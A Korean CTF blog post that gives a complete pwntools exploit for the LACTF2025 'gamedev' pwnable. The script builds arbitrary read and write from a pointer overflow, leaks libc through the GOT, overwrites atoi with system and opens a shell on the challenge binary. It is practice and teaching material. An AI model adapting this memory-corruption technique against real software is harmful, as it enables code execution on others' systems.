새소식

CTF/Pwnable

LACTF2025 gamedev

  • -
  • LACTF2025에서 출제되었던 gamedev 입니다. Do 선생님이 익스에 성공하시고, 잘 정리를 해주셔서 공부하는데 큰 도움이 되었습니다.
  • Arbitrary address read, write 취약점을 이용한 문제입니다.
  • 따로 추가적인 익스플로잇 정리를 진행하지는 않을 거 같아서 익스코드만 업데이트 하겠습니다.
  • 해당 포스트도 도움이 되셨으면 좋겠습니다. 내일도 행복한 하루 되세요. 감사합니다. ^~^.

Environment


exploit.py

from pwn import *

p = process('./chall_patched')
e = ELF("./chall_patched")
libc = ELF("./libc.so.6")

context.binary = e
# context.log_level = 'debug'

def create(idx):
    p.sendlineafter(b'Choice: ', b'1')
    p.sendlineafter(b'index: ', str(idx).encode())

def edit(data):
    p.sendlineafter(b'Choice: ', b'2')
    p.sendlineafter(b'data: ',data)

def test():
    p.sendlineafter(b'Choice: ', b'3')
    p.recvuntil(b"data: ")
    return p.recvline()

def explore(idx):
    p.sendlineafter(b'Choice: ', b'4')
    p.sendlineafter(b'index: ', str(idx).encode())

def reset():
    p.sendlineafter(b'Choice: ', b'5')

def arb_read(addr):
    create(0)
    create(1)
    explore(0)

    edit(b'A'*0x38 + p64(addr - 0x40))
    reset()

    explore(1)
    explore(1)
    res = test()
    reset()
    return res

def arb_write(addr, data):
    create(0)
    create(1)
    explore(0)

    edit(b'A'*0x38 + p64(addr-0x40))
    reset()

    explore(1)
    explore(1)
    edit(data)
    reset()

p.recvuntil(b'gift: ')
e.address=int(p.recvline()[:-1], 16) - e.sym.main
print(hex(e.address))

# print(arb_read(e.got.printf))
#libc.address=u64(arb_read(e.got.printf))-libc.sym.printf
libc.address = u64(arb_read(e.got.printf)[:8]) - libc.sym.printf

print(hex(libc.address))

arb_write(e.got.atoi, p64(libc.sym.system))

p.sendlineafter(b'Choice: ',b"/bin/sh")

p.interactive()

'CTF > Pwnable' 카테고리의 다른 글

LACTF2025 minecraft  (0) 2025.02.12
LACTF2023 redact  (2) 2025.01.27
LACTF2023 rut-roh-relro  (2) 2025.01.24
LACTF2023 rickroll  (2) 2025.01.24
LACTF2024 sus  (2) 2025.01.22
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.